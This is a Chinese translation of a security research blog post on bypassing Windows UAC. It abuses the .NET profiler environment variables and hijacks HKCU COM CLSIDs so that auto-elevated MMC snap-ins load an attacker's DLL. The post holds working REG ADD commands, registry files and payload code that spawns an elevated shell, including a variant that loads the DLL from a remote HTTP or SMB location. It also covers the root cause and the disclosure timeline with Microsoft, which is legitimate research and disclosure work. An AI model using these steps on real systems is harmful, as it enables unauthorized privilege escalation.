翻译:通过.NET程序提权绕过UAC

.NET框架可以通过用户自定义环境变量和CLSID注册表项来加载profiler DLL或者COM组件DLL,甚至当前进程是提权的。这种行为可以被利用来绕过Windows 7到10(包括最近的RS3)系统的默认UAC设置,如通过自动提权.NET进程(MMC管理单元)来加载任意的DLL。

介绍

去年五月, Casey Smith在他的博客和Twitter上指出.NET分析器的DLL加载可能会被滥用,通过环境变量使合法的.NET程序加载一个恶意DLL

当看到这一点,脑海中第一种想法就是,如果这个方法在高权限.NET进程也可以工作,那这将是一个绕过UAC的好办法。果然,确实如此。

这个问题到写这篇博客时依然没有修复,而且可能一直如此——但是在7月,它被 Stefan Kanthak独立地发现并报告了,按完整披露流程公布了该问题。

绕过UAC

要让一个.NET应用程序加载任意一个DLL,我们可以使用以下环境变量。

COR_ENABLE_PROFILING=1
COR_PROFILER={GUID}
COR_PROFILER_PATH=C:\path\to\some.dll

在.NET 4以下版本,CLSID必须在HKCR\CLSID{GUID}\InprocServer32定义包含profiling DLL的路径的注册表键。在最近版本中,CLR通过COR_PROFILER_PATH环境变量来找这个DLL,如果COR_PROFILER_PATH没有定义再使用CLSID查找。

HKCR\CLSID是HKLM和HKCU下Software\Classes\CLSID组合起来显示的。在HKLM(或者系统环境变量)下创建CLSID键需要提权,而在HKCU下创建不需要。需要注意,在用户环境变量和HKCU注册表项下一切也都工作正常。

可以简单使用一段批处理命令让它工作:

REG ADD "HKCU\Software\Classes\CLSID\{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}\InprocServer32" /ve /t REG_EXPAND_SZ /d "C:\Temp\test.dll" /f
REG ADD "HKCU\Environment" /v "COR_PROFILER" /t REG_SZ /d "{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}" /f
REG ADD "HKCU\Environment" /v "COR_ENABLE_PROFILING" /t REG_SZ /d "1" /f
REG ADD "HKCU\Environment" /v "COR_PROFILER_PATH" /t REG_SZ /d "C:\Temp\test.dll" /f
mmc gpedit.msc

这些命令在低权限命令行下可以在高权限的mmc.exe进程中加载C:\temp\test.dll(如果存在)。可以绕过Windows 7到10(包括最新RS3)系统的默认UAC设置。

net-bypass-uac-1.png

内嵌DLL的powershell POC可以在这里找到(只支持X64)。

这个DLL只在DLL_PROCESS_ATTACH下运行一个cmd.exe,会产生一个提权的命令行终端,然后马上退出当前进程,阻止MMC控制台弹出。

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
    char cmd[] = "cmd.exe";

    switch (fdwReason)
    {
    case DLL_PROCESS_ATTACH:
        WinExec(cmd, SW_SHOWNORMAL);
        ExitProcess(0);
        break;
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

在Windows 7,8.1,10 1703和10 RS3 build 16275中测试通过。
当然,如果你有可访问的SMB共享,UNC路径也可以工作。

COR_PROFILER_PATH=\\server\share\test.dll

根本原因

COM运行时在运行高权限进程时会阻止在HKCU查找CLSID,所以这种绕过方式无效,但是.NET运行时没有阻止,在这种情况下,.NET在shim组件查找时会查找这些键值。

net-bypass-uac-2.png

如果要修复,需要CLR实现和COM一样的检查。

更多维度

现在我们知道CLR是如何工作的了,我们可以在堆栈中找他CLR调用的其他在HKCU查找CLSID的实例。一个实例是GPEdit(Microsoft.GroupPolicy.AdmTmplEditor.GPMAdmTmplEditorManager)组件(在我测试虚拟机中CLSID是{B29D466A-857D-35BA-8712-A758861BFEA1})。

net-bypass-uac-3.png

查看HKCU已经存在的项中,好像是指向CLR程序及自己实现的组件。

net-bypass-uac-4.png

我们可以在HKCU下像这样定义一个COM项(.reg格式):

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Classes\CLSID\{B29D466A-857D-35BA-8712-A758861BFEA1}]
@="Microsoft.GroupPolicy.AdmTmplEditor.GPMAdmTmplEditorManager"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{B29D466A-857D-35BA-8712-A758861BFEA1}\Implemented Categories]

[HKEY_CURRENT_USER\Software\Classes\CLSID\{B29D466A-857D-35BA-8712-A758861BFEA1}\Implemented Categories\{62C8FE65-4EBB-45E7-B440-6E39B2CDBF29}]

[HKEY_CURRENT_USER\Software\Classes\CLSID\{B29D466A-857D-35BA-8712-A758861BFEA1}\InprocServer32]
@="C:\\Windows\\System32\\mscoree.dll"
"Assembly"="TestDotNet, Version=0.0.0.0, Culture=neutral"
"Class"="TestDotNet.Class1"
"RuntimeVersion"="v4.0.30319"
"ThreadingModel"="Both"
"CodeBase"="file://C://Temp//test_managed.dll"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{B29D466A-857D-35BA-8712-A758861BFEA1}\InprocServer32\10.0.0.0]
"Assembly"="TestDotNet, Version=0.0.0.0, Culture=neutral"
"Class"="TestDotNet.Class1"
"RuntimeVersion"="v4.0.30319"
"CodeBase"="file://C://Temp//test_managed.dll"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{B29D466A-857D-35BA-8712-A758861BFEA1}\ProgId]
@="Microsoft.GroupPolicy.AdmTmplEditor.GPMAdmTmplEditorManager"

MMC会加载我们的托管DLL,并且尝试访问TestDotNet.Class1类。C#没有一种简单的创建入口是DllMain的简单DLL(我们很懒所以不想写模块初始化),但是貌似注册表指向的类被加载了,所以我们只需要一个静态构造函数来执行我们的提权代码。

using System;
using System.Diagnostics;

namespace TestDotNet
{
   public class Class1
   {
      static Class1()
      { 
         Process.Start("cmd.exe");
         Environment.Exit(0);
      }
   }
}

将DLL放在注册表项定义的位置,然后运行gpedit.msc,可以看到弹出了一个提权的终端(和.NET一样)。

net-bypass-uac-5.png
net-bypass-uac-6.png

这种方式一个有趣的点是CodeBase不仅限于本地文件和SMB共享,这个DLL还可以从HTTP链接中加载。

"CodeBase"="http://server:8080/test_managed.dll"

需要注意的是下载的DLL会拷贝到硬盘上,所以这种方式比本地DLL更好检测(硬盘+网络组合)。

另外一件好事(对攻击者)是这种方式下可以滥用多种CLSID。
下面是在compmgmt.msc,event、vwr.msc,secpol.msc和taskschd.msc可使用CLSID:

  1. 托管DLL的Microsoft.ManagementConsole.Advanced.FrameworkSnapInFactor组件
net-bypass-uac-7.png
Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Classes\CLSID\{D5AB5662-131D-453D-88C8-9BBA87502ADE}]
@="Microsoft.ManagementConsole.Advanced.FrameworkSnapInFactory"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{D5AB5662-131D-453D-88C8-9BBA87502ADE}\Implemented Categories]

[HKEY_CURRENT_USER\Software\Classes\CLSID\{D5AB5662-131D-453D-88C8-9BBA87502ADE}\Implemented Categories\{62C8FE65-4EBB-45e7-B440-6E39B2CDBF29}]

[HKEY_CURRENT_USER\Software\Classes\CLSID\{D5AB5662-131D-453D-88C8-9BBA87502ADE}\InprocServer32]
@="C:\\Windows\\System32\\mscoree.dll"
"Assembly"="TestDotNet, Version=0.0.0.0, Culture=neutral"
"Class"="TestDotNet.Class1"
"RuntimeVersion"="v2.0.50727"
"ThreadingModel"="Both"
"CodeBase"="file://C://Temp//test_managed.dll"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{D5AB5662-131D-453D-88C8-9BBA87502ADE}\InprocServer32\3.0.0.0]
"Assembly"="TestDotNet, Version=0.0.0.0, Culture=neutral"
"Class"="TestDotNet.Class1"
"RuntimeVersion"="v2.0.50727"
"CodeBase"="file://C://Temp//test_managed.dll"
  1. Native DLL的NDP SymBinder组件,劫持\Server项
net-bypass-uac-8.png
Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}]
@="NDP SymBinder"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32]
@="C:\\Windows\\System32\\mscoree.dll"
"ThreadingModel"="Both"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32\4.0.30319]
@="4.0.30319"
"ImplementedInThisVersion"=""

[HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\ProgID]
@="CorSymBinder_SxS"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\Server]
@="C:\\Temp\\test_unmanaged.dll"
  1. Native DLL的Microsoft Common Language Runtime Meta Data组件,劫持\Server项(只有secpol.msc可用)
net-bypass-uac-9.png
Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Classes\CLSID\{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}]
@="Microsoft Common Language Runtime Meta Data"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}\InprocServer32]
@="C:\\Windows\\System32\\mscoree.dll"
"ThreadingModel"="Both"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}\InprocServer32\4.0.30319]
@="4.0.30319"
"ImplementedInThisVersion"=""

[HKEY_CURRENT_USER\Software\Classes\CLSID\{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}\ProgID]
@="CLRMetaData.CorRuntimeHost.2"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}\Server]
@="..\\..\\..\\..\\Temp\\test_unmanaged.dll"

(注意:路径必须是相对的,否则mmc.exe会尝试加载C:\Windows\Microsoft.NET\Framework64\v4.0.30319\C:\Temp\test_unmanaged.dll)

不是安全边界

微软多次申明UAC不是一个安全边界,安全从业者以更务实的角度来看它:不要信任UAC,不要用admin运行,用非admin用户运行不需要admin的任务,我非常赞同这种说法。

但是依然很多人用admin运行所有的东西,他们都是渗透测试人员和红色组织(都是坏人)感兴趣的目标。所以我猜测还会有新的关于UAC的有趣技术。

如果为了渗透测试,我推荐使用@tiraniddo的例子一个已经实现另一个也快来了),它不需要加载DLL,并且目前大部分EDR解决方案还不能捕获它。

另外,如果你也在研究绕过UAC,这个主题外有很多资源,但是下面的必须读一下:

  • @enigma0x3's research (and his upcoming DerbyCon talk)
  • @tiraniddo's bypass techniques on UAC via the SilentCleanup task and process token reading: part 1, part 2 & part 3
  • @hFireF0X's UACME project that implements most known UAC bypasses, and his posts on kernelmode
  • @FuzzySec's UAC workshop, and his Bypass-UAC project that implements several bypasses in PowerShell

非常感谢Casey Smith(@subtee)指出.NET profiler DLL技巧,并且感谢对微软开发者找到根本原因给予的帮助,谢谢Matt Graeber (@mattifestation) 的意见和review。

进展时间

2017-05-19 发现bypass
2017-05-20 给MSRC发邮件 (cc'ing an MS dev as suggested by @mattifestation)
2017-05-22 MSRC创建主题 #38811
2017-05-20/23 和 MS dev讨论
2017-06-24 MSRC回复: "We have finished our investigation and determined this does not meet the bar for servicing downlevel. UAC is not a security boundary."
2017-07-05 Stefan Kanthak绕过方案的完整披露
2017-09-15 发表本篇文章

文章来源:https://offsec.provadys.com/UAC-bypass-dotnet.html

转载请注明:http://anhkgg.com/tans-net-bypass-uac/

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 158,847评论 4 362
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,208评论 1 292
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 108,587评论 0 243
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,942评论 0 205
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,332评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,587评论 1 218
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,853评论 2 312
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,568评论 0 198
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,273评论 1 242
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,542评论 2 246
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,033评论 1 260
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,373评论 2 253
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,031评论 3 236
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,073评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,830评论 0 195
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,628评论 2 274
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,537评论 2 269

推荐阅读更多精彩内容